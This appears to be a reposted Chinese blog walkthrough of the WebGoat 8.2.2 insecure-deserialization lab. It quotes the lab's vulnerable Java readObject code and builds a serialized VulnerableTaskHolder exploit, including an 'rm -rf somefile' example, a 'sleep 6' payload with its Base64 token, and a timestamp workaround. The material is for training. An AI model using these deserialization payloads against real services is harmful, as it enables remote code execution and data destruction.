WebGoat8.2.2-A8不安全的反序列化

1、概念

 

使用反序列化在各编程语言中略有不同,如Java、PHP、Python、Ruby、C/C++等等,但在关键概念上是一样的

    序列化:将(内存中的)对象转化成数据格式,以便存储或传输

    反序列化:即序列化的反过程,从某种格式的数据中构建对象

如今最受欢迎的序列化数据格式是JSON,而在这之前是XML,只有数据是序列化的,而代码本身不是

 

2、Native Serialization-本地序列化/客制序列化

 

一些编程语言提供了自己的序列化功能,所使用的数据格式比一般的JSON或XML拥有更多的特性和功能,甚至可以自行指定序列化的过程。序列化/反序列化的过程以及这些特性可能会被攻击者恶意利用,从而实现DOS攻击、越权攻击以及RCE-远程代码执行等目的

 

3、最简单的例子

 

InputStream is = request.getInputStream();

ObjectInputStream ois = new ObjectInputStream(is);

AcmeObject acme = (AcmeObject)ois.readObject();

这段代码期望获取一个AcmeObject,但在强制类型转换之前调用了readObject()方法。攻击者需要做的就是在类路径中,找到一个支持序列化的类,来在调用readObject()时执行危险操作。(也就是按照原应用伪冒这个类,然后序列化后插入恶意代码)

 

package org.dummy.insecure.framework; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.Serializable; import java.time.LocalDateTime; public class VulnerableTaskHolder implements Serializable { private static final long serialVersionUID = 1; private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime; public VulnerableTaskHolder(String taskName, String taskAction) { super(); this.taskName = taskName; this.taskAction = taskAction; this.requestedExecutionTime = LocalDateTime.now(); } private void readObject( ObjectInputStream stream ) throws Exception { 

  针对上面的Java类,攻击者可以序列化一个恶意对象并形成RCE,Exploit如下:

VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile"); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(go); oos.flush(); byte[] exploit = bos.toByteArray();

4、Gadgets Chain

 

程序在自己执行反序列化时,执行危险操作的类(这里称之为gadget)是很少见的。但是找到一个在反序列化时会作用到其他gadget的gadget却很常见。并通常会带来更多的作用效果,一个作用到下一个,直到真正的危险操作被执行。这一串类,我们称之为Gadgets Chain,寻找gadget来构筑可利用的gadgets chain是安全研究人员的一个热门话题。这通常需要大量的时间去阅读代码。

 

5、题目,利用反序列化漏洞执行延迟五秒的操作

 

8.2.2版本,审计以下关键代码(尤其标红处),以及多次尝试、debug调试后,发现此题答案需要满足以下几个条件:

public class InsecureDeserializationTask extends AssignmentEndpoint {

@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before;
long after;
int delay;

b64token = token.replace('-', '+').replace('_', '/');

try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {//必须是VulnerableTaskHolder得实例,所以包名也得一致
if (o instanceof String) {
return failed(this).feedback("insecure-deserialization.stringobject").build();
}
return failed(this).feedback("insecure-deserialization.wrongobject").build();
}
after = System.currentTimeMillis();
} catch (InvalidClassException e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
} catch (IllegalArgumentException e) {//有时效性,如果不满足时效会报错,经尝试验证,生成requestedExecutionTime时减去4/5分钟可行

return failed(this).feedback("insecure-deserialization.expired").build();
} catch (Exception e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
}
        //检查延时时间是否满足延时5秒
delay = (int) (after - before);
if (delay > 7000) {
return failed(this).build();
}
if (delay < 3000) {
return failed(this).build();
}
return success(this).build();
}
}

 

VulnerableTaskHolder的readObject函数

/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();

//do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
   // 有时间戳检查,并且在当前时间之前10分钟以内
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}

//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}

}

 

    1)、创建的对象必须是VulnerableTaskHolder类的实例,包名得一致;

    2)、创建的序列化对象,时间戳必须在当前时间的前十分钟以内,否则会报The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let’s try again错误。所以VulnerableTaskHolder类中的构造方法得减去一定得时间,比如4分钟

public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now().minusMinutes(4);//获得当前时间并减去4分钟
}

  

WebGoat8.2.2-A8不安全的反序列化

 

附件https://github.com/pofabs/p5Security/blob/main/SerialTestWeb.zip 提供了一个java序列化测试的demo,可以下载下来后在idea中执行。需要配置本地maven仓库,如有报错自行搜索错误信息解决即可

   

如果为了偷懒,也可以直接在IDEA中部署WebGoat源代码(网上一般都有教程),然后按照以下步骤去执行

 

5.1、在VulnerableTaskHolder同级目录下创建一个SerialMain.java

代码如下

package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class SerialMain {

static public void main(String[] args){
try{
VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);
} catch (Exception e){

}
}
}

5.2、参照2)修改VulnerableTaskHolder中的this.requestedExecutionTime = LocalDateTime.now().minusMinutes(4); 编译运行SerialMain得到token:

rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAflCx4SGSwFVz+geHQAB3NsZWVwIDZ0AAVzbGVlcA==

WebGoat8.2.2-A8不安全的反序列化

WebGoat8.2.2-A8不安全的反序列化

 

 

5.3、恢复5.2中的代码为this.requestedExecutionTime = LocalDateTime.now(),重新部署webgoat,然后访问题目输入token,成功

 

 

WebGoat8.2.2-A8不安全的反序列化

 

 

原文链接:https://www.cnblogs.com/pofabs/p/15628878.html

原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/18011

(0)
上一篇 2023年6月23日
下一篇 2023年6月24日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

优速盾注册领取大礼包www.cdnb.net
/sitemap.xml